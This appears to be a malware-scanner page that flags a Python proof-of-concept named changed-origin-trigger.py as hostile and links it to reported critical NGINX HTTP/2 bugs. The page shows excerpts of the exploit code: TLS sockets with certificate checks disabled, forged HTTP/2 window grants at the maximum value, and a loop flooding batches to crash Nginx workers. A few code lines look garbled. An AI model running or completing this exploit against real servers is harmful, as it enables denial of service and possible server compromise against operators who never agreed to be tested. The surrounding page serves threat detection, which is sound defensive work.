Hostile 99% python Download

changed-origin-trigger.py

Amplifies corrupt HTTP/2 window with batchesTriggers HTTP/2 queued-data over-credit
SHA-256f292062cf03660e5b1041bb14742a98a07c4b06ddb3142e9fffb87625d6d39b7

Also flagged by https://www.bleepingcomputer.com/feed/ (Critical NGINX ‘NGINX2Root’ bugs let attackers hijack servers).

Evidence

HTTP/2 protocol version string lines 1–5
1#!/usr/bin/env python3
2"""Standalone Nginx HTTP/2 cleanup-overcredit and signed-window crash PoC.
3
4The first printed oracle demonstrates the root cause: cleanup restores queued
5DATA credit above HTTP/2's maximum, after which the unsigned bounds …
HTTP/2 client connection preface lines 6–37
6:30… NDOW_UPDATE. The remaining traffic only proves
7that this corrupt state reaches a native output consumer and crashes a worker;
8it is not needed to create the accounting error.
9"""
10
11import ctypes
12import socket
13import ssl
14import sys
15import time
16from urllib.parse import urlsplit
17
18
19limit = 2147483647
20PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
21
22# The PoC uses only this small, named subset of HTTP/2's frame vocabulary.
⋯15 lines
Sets TCP receive-window clamp lines 111–134
111:7… This PoC intentionally uses the configured /index.html only.
112 url = urlsplit(sys.argv[1] if len(sys.argv) > 1 else "https://192.0.2.90:8443/")
113 host, port = url.hostname, url.port or 443
114 authority = host if port == 443 else f"{host}:{port}"
115
116 # Start with an ordinary receive window so the public response can be
117 # measured and the initial HTTP/2 window can be consumed normally.
118 raw = socket.socket()
119 raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_limitSEG, 1460)
120 raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 262144)
121 raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_WINDOW_CLAMP, 262144)
122 raw.settimeout(3)
123 raw.connect((host, port))
124
125 # MemoryBIO exposes ciphertext before it reaches TCP. The PoC needs that
126 # control only to queue one complete TLS flight before allowing Nginx to
127 # flush response DATA; TLS encryption itself is not part of the flaw.
128 incoming, outgoing = ssl.MemoryBIO(), ssl.MemoryBIO()
129 context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
130 context.check_hostname = False
131 context.verify_mode = ssl.CERT_NONE
132 context.minimum_version = context.maximum_version = ssl.TLSVersion.TLSv1_3
133 context.set_alpn_protocols(("h2",))
134 tls …
Calls helper with zero and named limit lines 256–262
256:71… .
257 event = (grant(0, 1792) + grant(0, limit)
258 + grant(149, limit - 1) + grant(151, limit - 1)
259 + configure(2) + grant(0, limit) + configure(65535)
260 + request(155, authority, extra=literal(RANGE, "bytes=0-9")))
261 head = (literal(METHOD, "HEAD") + b"\x87"
262 + literal(AUTHORITY, authority) + literal(PATH, "/ …
Uses a large-bound Python range loop lines 372–380
372:3… maximum = grant(0, limit)
373 batch = maximum * (1 << 20)
374 for tranche in range(128):
375 for _ in range(32):
376 send(batch)
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.